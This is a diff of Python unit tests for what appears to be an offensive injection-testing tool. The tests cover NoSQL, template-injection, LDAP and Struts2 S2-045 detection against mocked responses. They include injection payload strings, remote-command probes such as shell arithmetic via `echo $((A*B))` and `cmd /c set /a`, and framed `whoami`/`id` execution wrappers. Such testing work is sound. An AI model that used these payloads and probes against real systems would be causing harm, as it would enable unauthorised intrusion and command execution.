||||
class TestNoSqlRecordBinding(unittest.TestCase):
|
||||
"""A whole-document dump must be flagged bound only when a unique-record constraint pins it; an
|
||||
unbound dump (no distinguishing sibling) is representative, not one coherent document."""
|
||||
|
||||
def test_vector_bound_defaults_true(self):
|
||||
self.assertTrue(ni.Vector("X", None, None, None).bound)
|
||||
self.assertFalse(ni.Vector("X", None, None, None, bound=False).bound)
|
||||
|
||||
def test_where_vector_unbound_without_sibling(self):
|
||||
# single injected param, no sibling -> _constraint is "" -> $where dump is representative
|
||||
ni.conf.parameters = {ni.PLACE.GET: "name=luther"}
|
||||
ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}}
|
||||
self.assertEqual(ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d."), "")
|
||||
|
||||
def test_where_vector_bound_with_sibling(self):
|
||||
# a distinguishing sibling pins the record -> bound constraint is non-empty
|
||||
ni.conf.parameters = {ni.PLACE.GET: "id=7&name=luther"}
|
||||
ni.conf.paramDict = {ni.PLACE.GET: {"name": "luther"}}
|
||||
bound = ni._constraint(ni.PLACE.GET, "name", "==", "&&", prefix="d.")
|
||||
self.assertIn("d.id=='7'", bound)
|
||||
self.assertTrue(bool(bound))
|
||||
|
||||
|
||||
class TestNoSqlTriStateOracle(unittest.TestCase):
|
||||
"""A failed/blocked NoSQL response is UNKNOWN, retried, then aborts - never a silent false bit."""
|
||||
|
||||
def test_content_bit_retries_transient_then_recovers(self):
|
||||
state = {"n": 0}
|
||||
def fetch(value):
|
||||
state["n"] += 1
|
||||
return None if state["n"] == 1 else "TEMPLATE" # first send fails, retry recovers
|
||||
self.assertTrue(ni._contentBit(fetch, "A", "TEMPLATE"))
|
||||
|
||||
def test_content_bit_persistent_failure_raises(self):
|
||||
self.assertRaises(ni.InconclusiveError, ni._contentBit, lambda v: None, "A", "TEMPLATE")
|
||||
|
||||
def test_content_bit_error_page_is_not_true(self):
|
||||
# an error page is unusable -> retried -> InconclusiveError, never classified true/false
|
||||
self.assertRaises(ni.InconclusiveError, ni._contentBit,
|
||||
lambda v: "MongoServerError: unknown operator: $foo", "A", "TEMPLATE")
|
||||
|
||||
def test_extract_aborts_value_on_inconclusive(self):
|
||||
# a persistently failing oracle aborts the value (None), never fabricates a length/char
|
||||
self.assertIsNone(ni._extract("TMPL", lambda v: None,
|
||||
lambda n: "len>=%d" % n, lambda k, c: "char", truthFn=None))
|
||||
|
||||
def test_timed_bit_rejects_blocked_slow_response(self):
|
||||
# a slow response that is BLOCKED (WAF/5xx) must not count as a true timing bit
|
||||
self._fv = ni._fetchValue
|
||||
try:
|
||||
ni._lastCode = 429
|
||||
ni._fetchValue = lambda *a, **k: (time.sleep(0.01) or "") # slow but blocked (_isError via 429)
|
||||
self.assertRaises(ni.InconclusiveError, ni._timedBit, "GET", "q", "payload", 0.0)
|
||||
finally:
|
||||
ni._fetchValue = self._fv
|
||||
ni._lastCode = None
|
||||
|
||||
def test_content_bit_unrelated_page_is_inconclusive_not_false(self):
|
||||
# P0-2: a usable page matching NEITHER the true nor the false model is UNKNOWN, not false -
|
||||
# with both models supplied it must abort (InconclusiveError), never silently return False
|
||||
self.assertRaises(ni.InconclusiveError,
|
||||
ni._contentBit, lambda v: "CCCCC unrelated soft-WAF page", "A", "AAAAA", "BBBBB")
|
||||
|
||||
def test_content_bit_both_models_classify_true_and_false(self):
|
||||
self.assertTrue(ni._contentBit(lambda v: "AAAAA", "A", "AAAAA", "BBBBB"))
|
||||
self.assertFalse(ni._contentBit(lambda v: "BBBBB", "A", "AAAAA", "BBBBB"))
|
||||
|
||||
def test_detect_where_rejects_blocked_slow_responses(self):
|
||||
# P0-2: delayed BLOCKED responses (zero usable) must NOT establish a $where timing threshold
|
||||
self._fv = ni._fetchValue
|
||||
try:
|
||||
ni.conf.timeSec = 5
|
||||
ni.conf.parameters = {ni.PLACE.GET: "q=1"}
|
||||
ni.conf.paramDict = {ni.PLACE.GET: {"q": "1"}}
|
||||
ni._lastCode = 503
|
||||
ni._fetchValue = lambda *a, **k: (time.sleep(0.02) or None) # slow AND blocked/failed
|
||||
self.assertIsNone(ni._detectWhere("GET", "q"))
|
||||
finally:
|
||||
ni._fetchValue = self._fv
|
||||
ni._lastCode = None
|
||||
|
||||
|
||||
class TestNoSqlEnumDump(unittest.TestCase):
|
||||
"""Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values"""
|
||||
|
||||
|
|
@ -327,11 +446,13 @@ class TestNoSqlEnumDump(unittest.TestCase):
|
|||
|
||||
def setUp(self):
|
||||
self._ef, self._fv = ni._enumField, ni._fetchValue
|
||||
ni._fetchValue = lambda *args, **kwargs: "<b>Welcome</b>" # non-error single-record template
|
||||
# true (any-match '.*') vs false (never-match sentinel) template must be SEPARABLE so _enumDump
|
||||
# can calibrate both models; a constant page would (correctly) disable the dump
|
||||
ni._fetchValue = lambda place, parameter, value: (NOMATCH if ni.NOSQL_SENTINEL in value else MATCH)
|
||||
names = [name for name, _ in self.DOC]
|
||||
values = dict(self.DOC)
|
||||
|
||||
def fake(place, parameter, template, payloadFor):
|
||||
def fake(place, parameter, template, payloadFor, strict=False, falseModel=None):
|
||||
probe = payloadFor("X") # render to inspect the target expression
|
||||
m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i]
|
||||
if m:
|
||||
|
|
@ -349,9 +470,11 @@ class TestNoSqlEnumDump(unittest.TestCase):
|
|||
|
||||
def _check(self, keysExpr, valueExpr):
|
||||
makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb)
|
||||
columns, rows = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr)
|
||||
columns, rows, bound, complete = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr)
|
||||
self.assertEqual(columns, ["id", "username", "password", "role"])
|
||||
self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]])
|
||||
# a constraint-only enum dump is NOT proven single-record -> the dump reports itself unbound
|
||||
self.assertFalse(bound)
|
||||
|
||||
def test_cypher(self):
|
||||
self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n))
|
||||
|
|
@ -428,7 +551,11 @@ class TestNoSqlRecords(unittest.TestCase):
|
|||
|
||||
|
||||
def _numeric(place, parameter, value):
|
||||
# numeric-context oracle: 'OR 1=1' is always-true (rows), 'AND 1=2' is false (no rows)
|
||||
# numeric-context Neo4j: 'OR 1=1' is always-true (rows), 'AND 1=2' is false, PLUS the Cypher-only
|
||||
# STARTS WITH prefix predicate the detector now requires to attribute Neo4j (vs plain SQL)
|
||||
m = re.search(r"STARTS WITH '([^']*)'", value)
|
||||
if m:
|
||||
return MATCH if "ab".startswith(m.group(1)) else NOMATCH
|
||||
if "OR 1=1" in value:
|
||||
return MATCH
|
||||
if "AND 1=2" in value:
|
||||
|
|
@ -492,7 +619,11 @@ class TestNoSqlNumericN1QL(unittest.TestCase):
|
|||
|
||||
|
||||
def _numericAql(place, parameter, value):
|
||||
# numeric-context ArangoDB: only the ||/&& family diverges (OR/AND and REGEXP_CONTAINS do not)
|
||||
# numeric-context ArangoDB: the ||/&& family diverges, PLUS the AQL-only two-arg LIKE(text, search)
|
||||
# function the detector now requires to attribute ArangoDB (SQL's LIKE is an operator, not a function)
|
||||
m = re.search(r"LIKE\('ab', '([^%]*)%'\)", value)
|
||||
if m:
|
||||
return MATCH if "ab".startswith(m.group(1)) else NOMATCH
|
||||
return MATCH if "|| 1==1" in value else NOMATCH
|
||||
|
||||
|
||||
|
|
@ -545,7 +676,7 @@ class TestNoSqlPartiQL(unittest.TestCase):
|
|||
self.assertEqual(value, SECRET)
|
||||
|
||||
def test_dump_binds_sibling(self):
|
||||
columns, rows = ni._partiqlDump("GET", "password", "password")
|
||||
columns, rows, bound, complete = ni._partiqlDump("GET", "password", "password")
|
||||
self.assertEqual(columns, ["password"])
|
||||
self.assertEqual(rows, [[SECRET]])
|
||||
|
||||
|
|
@ -613,6 +744,118 @@ class TestNoSqlCookiePlace(unittest.TestCase):
|
|||
self.assertIn("u.session='abc'", constraint)
|
||||
self.assertIn("u.username='luther'", constraint)
|
||||
|
||||
def test_constraint_escapes_literal_and_skips_non_identifiers(self):
|
||||
# a quote/backslash in a sibling value must be escaped (not break out of the string literal),
|
||||
# and a non-identifier field name must be skipped rather than alter the predicate structure
|
||||
ni.conf.parameters = {ni.PLACE.GET: "q=x&name=o'brien&weird.field=v&password=p"}
|
||||
ni.conf.paramDict = {ni.PLACE.GET: {"q": "x"}}
|
||||
constraint = ni._constraint(ni.PLACE.GET, "q")
|
||||
self.assertIn("u.name='o\\'brien'", constraint) # single quote escaped
|
||||
self.assertNotIn("weird.field", constraint) # dotted (non-identifier) name skipped
|
||||
self.assertIn("u.password='p'", constraint)
|
||||
|
||||
|
||||
class TestNoSqlJsonRawReplace(unittest.TestCase):
|
||||
"""Parse-failure JSON fallback: mutate ONLY the target key's value span in a JSON-like body, never
|
||||
reconstruct it with a form serializer (which would produce unrelated 'name=value&...' content)."""
|
||||
|
||||
def test_double_quoted_value_replaced_in_place(self):
|
||||
body = '{"name": "luther", "role": "user"}'
|
||||
out = ni._jsonRawReplace(body, "name", {"$ne": None})
|
||||
self.assertEqual(out, '{"name": {"$ne": null}, "role": "user"}')
|
||||
self.assertIn('"role": "user"', out) # sibling preserved verbatim
|
||||
|
||||
def test_json_like_single_quotes_not_form_serialized(self):
|
||||
# single-quoted -> json.loads() fails in the real flow; the span replace still works and the
|
||||
# body stays JSON-shaped (no '&', no 'name=value' reconstruction)
|
||||
body = "{'name': 'luther', 'active': true}"
|
||||
out = ni._jsonRawReplace(body, "name", "payload")
|
||||
self.assertIsNotNone(out)
|
||||
self.assertIn("'active': true", out) # sibling + JS literal preserved
|
||||
self.assertNotIn("&", out)
|
||||
self.assertTrue(out.strip().startswith("{")) # still a JSON object, not form content
|
||||
|
||||
def test_bareword_and_numeric_values(self):
|
||||
self.assertEqual(ni._jsonRawReplace('{"age": 42}', "age", 7), '{"age": 7}')
|
||||
self.assertEqual(ni._jsonRawReplace('{"ok": true}', "ok", "x"), '{"ok": "x"}')
|
||||
|
||||
def test_missing_key_returns_none(self):
|
||||
# key absent -> None so the caller SKIPS the probe rather than corrupt the body
|
||||
self.assertIsNone(ni._jsonRawReplace('{"other": "v"}', "name", "x"))
|
||||
|
||||
def test_key_like_text_inside_string_is_not_matched(self):
|
||||
# the reviewer's reproduction: 'name: old' inside the "note" STRING must NOT be mutated - only
|
||||
# the real "name" property is replaced
|
||||
body = '{"note":"name: old", "name":"real"}'
|
||||
out = ni._jsonRawReplace(body, "name", {"$ne": None})
|
||||
self.assertEqual(out, '{"note":"name: old", "name":{"$ne": null}}')
|
||||
self.assertIn('"note":"name: old"', out) # decoy string untouched
|
||||
|
||||
def test_key_like_text_inside_single_quoted_string(self):
|
||||
body = "{'note':'name: trap', 'name':'real'}"
|
||||
out = ni._jsonRawReplace(body, "name", "P")
|
||||
self.assertIn("'note':'name: trap'", out) # decoy untouched
|
||||
self.assertTrue(out.endswith('"P"}')) # real value replaced
|
||||
|
||||
def test_key_like_text_inside_comment_is_not_matched(self):
|
||||
body = '{/* name: not here */ "name": "real"}'
|
||||
out = ni._jsonRawReplace(body, "name", "P")
|
||||
self.assertIn("/* name: not here */", out) # comment untouched
|
||||
self.assertIn('"name": "P"', out)
|
||||
|
||||
def test_object_and_array_values_replaced_whole(self):
|
||||
# an object/array as the original value must be replaced in full, not partially
|
||||
self.assertEqual(ni._jsonRawReplace('{"f": {"a": 1, "b": [2, 3]}, "g": 9}', "f", "X"),
|
||||
'{"f": "X", "g": 9}')
|
||||
self.assertEqual(ni._jsonRawReplace('{"f": [1, {"x": "}"}, 2], "g": 9}', "f", 0),
|
||||
'{"f": 0, "g": 9}')
|
||||
|
||||
def test_nested_property_located_at_depth(self):
|
||||
# a nested property (not top-level) is located and replaced without disturbing structure
|
||||
out = ni._jsonRawReplace('{"outer": {"name": "luther"}}', "name", {"$ne": None})
|
||||
self.assertEqual(out, '{"outer": {"name": {"$ne": null}}}')
|
||||
|
||||
def test_brace_inside_string_value_does_not_close_object(self):
|
||||
# a '}' inside a string value must not end the value token early
|
||||
out = ni._jsonRawReplace('{"a": "va}lue", "name": "x"}', "name", "P")
|
||||
self.assertIn('"a": "va}lue"', out)
|
||||
self.assertIn('"name": "P"', out)
|
||||
|
||||
def test_brace_inside_comment_in_value_does_not_close_object(self):
|
||||
# reviewer P0-2 reproduction: a '}' inside a COMMENT within an object value closed it early
|
||||
out = ni._jsonRawReplace('{"f": {/* } */ "a": 1}, "g": 9}', "f", "X")
|
||||
self.assertEqual(out, '{"f": "X", "g": 9}')
|
||||
|
||||
def test_key_like_text_inside_regex_literal_is_not_matched(self):
|
||||
# reviewer P0-2 reproduction: 'name:' inside a /regex/ literal must not be taken as the property
|
||||
out = ni._jsonRawReplace('{pattern: /name: trap/, name: "real"}', "name", "P")
|
||||
self.assertEqual(out, '{pattern: /name: trap/, name: "P"}')
|
||||
|
||||
def test_regex_with_slash_in_char_class(self):
|
||||
# a regex value containing '/' inside a [..] class and a '}' must be skipped whole
|
||||
out = ni._jsonRawReplace('{"re": /[a/}]x/, "name": "y"}', "name", "P")
|
||||
self.assertIn("/[a/}]x/", out)
|
||||
self.assertIn('"name": "P"', out)
|
||||
|
||||
def test_backtick_string_is_not_a_key(self):
|
||||
# a backtick template value containing 'name:' must not be mistaken for the property
|
||||
out = ni._jsonRawReplace('{"tpl": `name: ${x}`, "name": "z"}', "name", "P")
|
||||
self.assertIn("`name: ${x}`", out)
|
||||
self.assertIn('"name": "P"', out)
|
||||
|
||||
def test_regex_value_flags_consumed(self):
|
||||
# P0-6: a regex value's span must include trailing flags, else a dangling 'i' is left behind
|
||||
self.assertEqual(ni._jsonRawReplace('{re: /abc/i, name: "x"}', "re", "P"),
|
||||
'{re: "P", name: "x"}')
|
||||
|
||||
def test_duplicate_key_at_different_depths_is_skipped(self):
|
||||
# P0-6: with only the leaf key name, an ambiguous body (same key at 2 places) must be SKIPPED,
|
||||
# never guessed - the payload could otherwise reach the wrong field
|
||||
self.assertIsNone(ni._jsonRawReplace('{"outer":{"name":"first"},"name":"second"}', "name", "P"))
|
||||
|
||||
def test_single_occurrence_still_mutates(self):
|
||||
self.assertEqual(ni._jsonRawReplace('{"a":1,"name":"real"}', "name", "P"), '{"a":1,"name":"P"}')
|
||||
|
||||
|
||||
class TestNoSqlErrorRegex(unittest.TestCase):
|
||||
"""The heuristic regex must match real back-end error structures, not bare product names (so an
|
||||
|
|
@ -660,6 +903,27 @@ class TestNoSqlErrorRegex(unittest.TestCase):
|
|||
self.assertIsNone(re.search(self.NOSQL_ERROR_REGEX, sample), "should NOT match: %s" % sample)
|
||||
|
||||
|
||||
class TestNoSqlNoneSafety(unittest.TestCase):
|
||||
"""A blocked/failed request makes _send() return None; the fingerprint/error helpers must not
|
||||
crash calling .lower() on it."""
|
||||
|
||||
def setUp(self):
|
||||
self._f, self._fv = ni._fetch, ni._fetchValue
|
||||
ni._fetch = lambda *a, **k: None
|
||||
ni._fetchValue = lambda *a, **k: None
|
||||
ni.conf.parameters = {"GET": "q=x"}
|
||||
ni.conf.paramDict = {"GET": {"q": "x"}}
|
||||
|
||||
def tearDown(self):
|
||||
ni._fetch, ni._fetchValue = self._f, self._fv
|
||||
|
||||
def test_nosql_failed_fingerprint_does_not_crash(self):
|
||||
# None responses must not raise (was: 'NoneType' has no attribute 'lower')
|
||||
self.assertIn(ni._fingerprintMongo("GET", "q"), ("CouchDB", "MongoDB", "MongoDB/CouchDB-compatible operator back-end"))
|
||||
self.assertIn(ni._fingerprintLucene("GET", "q"), ("Solr", "OpenSearch", "Lucene query_string-compatible back-end"))
|
||||
self.assertIsNone(ni._detectError("GET", "q"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
|
|
|
|||
|
|
@ -145,6 +145,15 @@ class TestErrorDetection(unittest.TestCase):
|
|||
page = ssti._probeError("GET", "q", engine)
|
||||
self.assertIsNone(page)
|
||||
|
||||
def test_ssti_static_engine_error_is_not_confirmation(self):
|
||||
# a static template-parser error (present for every value, no arithmetic/boolean evaluation
|
||||
# proof) must NOT confirm SSTI - only reflect the payload and always leak an engine name
|
||||
def mock(place, parameter, value):
|
||||
return "debug: jinja2.exceptions.TemplateSyntaxError (cached). you sent: " + value
|
||||
ssti._send = mock
|
||||
engine, evidence = ssti._fingerprint("GET", "q")
|
||||
self.assertIsNone(engine) # no evaluation proof -> not a confirmed SSTI
|
||||
|
||||
def test_backend_from_error(self):
|
||||
page = "jinja2.exceptions.UndefinedError: 'foo' is undefined"
|
||||
backend = ssti._backendFromError(page)
|
||||
|
|
@ -222,6 +231,36 @@ class TestBooleanDetection(unittest.TestCase):
|
|||
template = ssti._detectBoolean("GET", "q", engine)
|
||||
self.assertIsNone(template)
|
||||
|
||||
def test_true_marker_in_baseline_rejected(self):
|
||||
"""When the true marker ('True') is already present in the untouched baseline it is page
|
||||
furniture, not our evaluated output, so its appearance cannot confirm a boolean oracle."""
|
||||
engine = ssti._ENGINE_TABLE[0] # Jinja2, trueRendered='True'
|
||||
|
||||
def mock(place, parameter, value):
|
||||
if "{{ True }}" in value:
|
||||
return "flag=True ok"
|
||||
if "{{ False }}" in value:
|
||||
return "flag=True no" # diverges, but 'True' still shown
|
||||
return "flag=True baseline" # 'True' already in the baseline
|
||||
|
||||
ssti._send = mock
|
||||
self.assertIsNone(ssti._detectBoolean("GET", "q", engine))
|
||||
|
||||
def test_error_pages_are_not_a_boolean_oracle(self):
|
||||
"""Two syntactically invalid true/false payloads that merely trip DIFFERENT engine error
|
||||
messages diverge, but an error page is not a rendered boolean -> no oracle."""
|
||||
engine = ssti._ENGINE_TABLE[0] # Jinja2
|
||||
|
||||
def mock(place, parameter, value):
|
||||
if "{{ True }}" in value:
|
||||
return "jinja2.exceptions.UndefinedError: x"
|
||||
if "{{ False }}" in value:
|
||||
return "TemplateSyntaxError: y"
|
||||
return "baseline"
|
||||
|
||||
ssti._send = mock
|
||||
self.assertIsNone(ssti._detectBoolean("GET", "q", engine))
|
||||
|
||||
|
||||
class TestFingerprint(unittest.TestCase):
|
||||
def setUp(self):
|
||||
|
|
@ -393,6 +432,100 @@ class TestRequestMutation(unittest.TestCase):
|
|||
self.assertEqual(result, "a=1&b=xx")
|
||||
|
||||
|
||||
class TestRceProof(unittest.TestCase):
|
||||
"""Proof-of-execution via a DERIVED challenge: reflection (raw OR transformed) must NOT be accepted."""
|
||||
|
||||
def setUp(self):
|
||||
self.original_send = ssti._send
|
||||
|
||||
def tearDown(self):
|
||||
ssti._send = self.original_send
|
||||
|
||||
def test_derived_executed_needs_product_absent_from_request(self):
|
||||
# the product proves execution: present in the page, absent from baseline
|
||||
self.assertTrue(ssti._derivedExecuted("page 6772561 footer", "baseline", "6772561"))
|
||||
self.assertIsNone(ssti._derivedExecuted("page without it", "baseline", "6772561"))
|
||||
# product already in baseline -> not attributable
|
||||
self.assertIsNone(ssti._derivedExecuted("x 6772561 x", "seen 6772561 here", "6772561"))
|
||||
|
||||
def test_probe_rce_rejects_raw_reflection(self):
|
||||
# an app that echoes the whole request body verbatim: the product ($((A*B)) result) is NEVER in
|
||||
# the request, so it cannot appear in a reflected response -> not RCE-capable
|
||||
engine = ssti._ENGINE_TABLE[0] # Jinja2 (no _FILE_RCE spec -> file path is a no-op)
|
||||
ssti._send = lambda place, parameter, value: "Hello, %s!" % value # pure reflection
|
||||
self.assertFalse(ssti._probeRce("GET", "q", engine))
|
||||
|
||||
def test_probe_rce_rejects_url_encoded_reflection(self):
|
||||
# KEY P0-4 case: the app reflects the URL-ENCODED payload. A marker-in-payload check would pass;
|
||||
# the derived product is still absent from any reflected form -> correctly NOT RCE-capable
|
||||
from thirdparty.six.moves.urllib.parse import quote
|
||||
engine = ssti._ENGINE_TABLE[0]
|
||||
ssti._send = lambda place, parameter, value: "reflected: %s" % quote(value, safe="")
|
||||
self.assertFalse(ssti._probeRce("GET", "q", engine))
|
||||
|
||||
def test_probe_rce_all_collisions_do_not_confirm(self):
|
||||
# every generated product collides with the baseline -> every challenge is skipped; the loop
|
||||
# must NOT fall through to success with zero executed payloads (counts confirmations, not iters)
|
||||
engine = ssti._ENGINE_TABLE[0]
|
||||
import lib.techniques.ssti.inject as _m
|
||||
orig = _m.randomInt
|
||||
try:
|
||||
_m.randomInt = lambda n: 2 # product is always 4
|
||||
ssti._send = lambda place, parameter, value: "result is 4 everywhere" # baseline contains "4"
|
||||
self.assertFalse(ssti._probeRce("GET", "q", engine))
|
||||
finally:
|
||||
_m.randomInt = orig
|
||||
|
||||
def test_probe_rce_confirms_real_execution(self):
|
||||
# a backend that actually evaluates `echo $((A*B))` returns the PRODUCT as command output
|
||||
engine = ssti._ENGINE_TABLE[0]
|
||||
import re as _re
|
||||
|
||||
def mock(place, parameter, value):
|
||||
m = _re.search(r"echo \$\(\((\d+)\*(\d+)\)\)", value)
|
||||
if m:
|
||||
return "<html>%d</html>" % (int(m.group(1)) * int(m.group(2))) # shell-evaluated product
|
||||
return "baseline"
|
||||
|
||||
ssti._send = mock
|
||||
self.assertTrue(ssti._probeRce("GET", "q", engine))
|
||||
|
||||
def test_framed_output_markers_are_reflection_proof(self):
|
||||
# markers are shell-concatenated fragments: the completed 'startABstartCD' never appears in the
|
||||
# request, so only genuine execution places them in the page
|
||||
start, end = "aaaaaabbbbbb", "ccccccdddddd"
|
||||
executed = "junk %suid=0(root) gid=0(root)%s junk" % (start, end)
|
||||
self.assertEqual(ssti._framedOutput(executed, start, end), "uid=0(root) gid=0(root)")
|
||||
# a response that lacks the concatenated markers (e.g. reflected 'aaaaaa bbbbbb' separated) -> None
|
||||
self.assertIsNone(ssti._framedOutput("printf %s%s aaaaaa bbbbbb ...", start, end))
|
||||
|
||||
def test_probe_rce_confirms_on_windows_backend(self):
|
||||
# a Windows-hosted engine evaluates `cmd /c set /a A*B` (Unix `$((...))` does nothing) - the
|
||||
# derived product still proves execution, so capability detection works on Windows too
|
||||
engine = ssti._ENGINE_TABLE[0]
|
||||
import re as _re
|
||||
|
||||
def mock(place, parameter, value):
|
||||
m = _re.search(r"set /a (\d+)\*(\d+)", value) # cmd.exe set /a arithmetic
|
||||
if m and "$((" not in value:
|
||||
return "<html>%d</html>" % (int(m.group(1)) * int(m.group(2)))
|
||||
return "baseline" # the Unix $(( )) family produces nothing here
|
||||
|
||||
ssti._send = mock
|
||||
self.assertTrue(ssti._probeRce("GET", "q", engine))
|
||||
|
||||
def test_windows_framed_builder_shape(self):
|
||||
# the Windows framed command concatenates the marker fragments at runtime via `echo|set /p=`
|
||||
cmd = ssti._winFramed("whoami", "SA", "SB", "EA", "EB")
|
||||
self.assertIn("cmd /c", cmd)
|
||||
self.assertIn("set /p=SA", cmd)
|
||||
self.assertIn("set /p=SB", cmd)
|
||||
self.assertIn("whoami", cmd)
|
||||
# the concatenated markers 'SASB'/'EAEB' are NOT present literally (only the separate fragments)
|
||||
self.assertNotIn("SASB", cmd)
|
||||
self.assertNotIn("EAEB", cmd)
|
||||
|
||||
|
||||
class TestExecuteCommand(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.original_send = ssti._send
|
||||
|
|
@ -426,9 +559,12 @@ class TestExecuteCommand(unittest.TestCase):
|
|||
"Should have tried the second payload after error skip")
|
||||
|
||||
def test_all_error_pages_produce_warning(self):
|
||||
"""When all RCE payloads produce template errors, no success is reported.
|
||||
_executeCommand sends baseline + one request per fallback payload."""
|
||||
"""When all RCE payloads produce template errors, no success is reported. _executeCommand sends
|
||||
a baseline, then TWO passes over the payloads: a reflection-proof boundary-marker capture pass
|
||||
a framed pass PER OS family (unix + windows), and an unframed baseline-diff fallback pass (the
|
||||
file-based pass sends nothing without a _FILE_RCE spec, as for Jinja2)."""
|
||||
engine = ssti._ENGINE_TABLE[0]
|
||||
self.assertNotIn(engine.name, ssti._FILE_RCE) # guard the arithmetic below
|
||||
calls = []
|
||||
|
||||
def mock(place, parameter, value):
|
||||
|
|
@ -437,9 +573,10 @@ class TestExecuteCommand(unittest.TestCase):
|
|||
|
||||
ssti._send = mock
|
||||
ssti._executeCommand("GET", "q", engine, "test")
|
||||
# 1 baseline + N payload attempts = N+1 calls
|
||||
self.assertEqual(len(calls), len(engine.rcePayloads) + 1,
|
||||
"Should have tried all payloads (baseline + one per fallback) before giving up")
|
||||
# 1 baseline + (families framed + 1 unframed) passes, each over N payloads
|
||||
passes = len(ssti._SHELL_FAMILIES) + 1
|
||||
self.assertEqual(len(calls), 1 + passes * len(engine.rcePayloads),
|
||||
"Should have tried the framed pass per OS family then the unframed pass before giving up")
|
||||
|
||||
|
||||
class TestCommandEscaping(unittest.TestCase):
|
||||
|
|
@ -642,27 +779,51 @@ class TestStruts2Header(unittest.TestCase):
|
|||
def test_struts2_wired_for_file_rce(self):
|
||||
self.assertIn("Struts2 (OGNL)", ssti._FILE_RCE) # modern-JDK file-based fallback wired
|
||||
|
||||
def test_s2045_detection_marker_echo(self):
|
||||
def test_s2045_detection_derived_product(self):
|
||||
import re
|
||||
# a vulnerable Struts2 evaluates the OGNL and writes the printed marker into the response
|
||||
# a vulnerable Struts2 EVALUATES the OGNL arithmetic and writes the PRODUCT (absent from the header)
|
||||
def mock(url, action):
|
||||
m = re.search(r"#w\.print\('([a-z0-9]+)'\)", action)
|
||||
return "<html> %s </html>" % m.group(1) if m else "<html/>"
|
||||
m = re.search(r"#w\.print\((\d+)\*(\d+)\)", action)
|
||||
return "<html> %d </html>" % (int(m.group(1)) * int(m.group(2))) if m else "<html/>"
|
||||
ssti._s2045Send = mock
|
||||
self.assertIsNotNone(ssti._probeStruts2Header("http://target"))
|
||||
self.assertTrue(ssti._probeStruts2Header("http://target"))
|
||||
|
||||
def test_s2045_detection_rejects_reflected_header(self):
|
||||
# KEY P0-6 case: the server REFLECTS the Content-Type header verbatim. The literal operands are
|
||||
# echoed but never their product, so no reflection can satisfy the derived challenge -> not vuln
|
||||
ssti._s2045Send = lambda url, action: "You sent Content-Type: %s" % action
|
||||
self.assertIsNone(ssti._probeStruts2Header("http://target"))
|
||||
|
||||
def test_s2045_not_vulnerable(self):
|
||||
ssti._s2045Send = lambda url, action: "<html>ordinary Struts page, no eval</html>"
|
||||
self.assertIsNone(ssti._probeStruts2Header("http://target"))
|
||||
|
||||
def test_s2045_command_output_sliced_from_markers(self):
|
||||
# the shell echoes start/end markers around stdout; the response also carries the action HTML
|
||||
def test_s2045_all_collisions_do_not_confirm(self):
|
||||
# every product collides with the baseline -> no challenge is ever evaluated -> not confirmed
|
||||
import lib.techniques.ssti.inject as _m
|
||||
orig = _m.randomInt
|
||||
try:
|
||||
_m.randomInt = lambda n: 2 # product is always 4
|
||||
ssti._s2045Send = lambda url, action: "page containing 4"
|
||||
self.assertIsNone(ssti._probeStruts2Header("http://target"))
|
||||
finally:
|
||||
_m.randomInt = orig
|
||||
|
||||
def test_s2045_command_output_sliced_from_derived_markers(self):
|
||||
import re
|
||||
# the shell CONCATENATES the marker fragments (printf %s%s A B -> AB); the concatenation never
|
||||
# appears in the header, so it can only come from execution
|
||||
def mock(url, action):
|
||||
m = re.search(r"echo ([a-z0-9]+); .* 2>&1; echo ([a-z0-9]+)", action)
|
||||
m = re.search(r"printf %s%s (\w+) (\w+); .* 2>&1; printf %s%s (\w+) (\w+)", action)
|
||||
if not m:
|
||||
return "<html/>"
|
||||
start, end = m.group(1), m.group(2)
|
||||
start, end = m.group(1) + m.group(2), m.group(3) + m.group(4)
|
||||
return "<html>%s\nuid=0(root) gid=0(root)\n%s</html>" % (start, end)
|
||||
import re
|
||||
ssti._s2045Send = mock
|
||||
self.assertEqual(ssti._executeStruts2Header("http://target", "id"), "uid=0(root) gid=0(root)")
|
||||
|
||||
def test_s2045_command_rejects_reflected_header(self):
|
||||
# raw header reflection: the fragments appear separated ('printf %s%s A B'), never concatenated,
|
||||
# so no start/end marker is found -> no fabricated 'output'
|
||||
ssti._s2045Send = lambda url, action: "reflected: %s" % action
|
||||
self.assertIsNone(ssti._executeStruts2Header("http://target", "id"))
|
||||
|
|
|
|||
|
|
@ -839,11 +839,18 @@ class TestLdapPureHelpers(unittest.TestCase):
|
|||
# header + 2 rows + 4 separators (top, under-header, ... actually 3 borders + n rows)
|
||||
self.assertEqual(grid.count("+----+----+"), 3)
|
||||
|
||||
def test_charset_excludes_metachars(self):
|
||||
def test_charset_includes_metachars_escaped(self):
|
||||
# filter metacharacters ARE extractable - _ldapLiteral() escapes them, so a value containing
|
||||
# '*'/'('/')'/'\\' is recovered in full rather than truncated at the first one
|
||||
for meta in ("*", "(", ")", "\\"):
|
||||
self.assertNotIn(ord(meta), ldap._CHARSET)
|
||||
self.assertIn(ord(meta), ldap._CHARSET)
|
||||
self.assertIn(ord("a"), ldap._CHARSET)
|
||||
self.assertIn(ord("0"), ldap._CHARSET)
|
||||
# common characters are still tried before the (rare) metacharacters
|
||||
self.assertLess(ldap._CHARSET.index(ord("a")), ldap._CHARSET.index(ord("*")))
|
||||
# the escaping the extractor relies on
|
||||
self.assertEqual(ldap._ldapLiteral("abc*def"), "abc\\2adef")
|
||||
self.assertIn("\\28", ldap._ldapLiteral("x(y)"))
|
||||
|
||||
def test_probe_builder_shapes(self):
|
||||
b = ldap._ProbeBuilder("*)")
|
||||
|
|
@ -865,7 +872,7 @@ class _LdapOracleCase(unittest.TestCase):
|
|||
match: a payload's trailing assertion '(attr=value*' matches when the directory holds
|
||||
`attr` whose value starts with `value`."""
|
||||
|
||||
DIRECTORY = {"uid": "admin", "mail": "bob", "cn": "Administrator"}
|
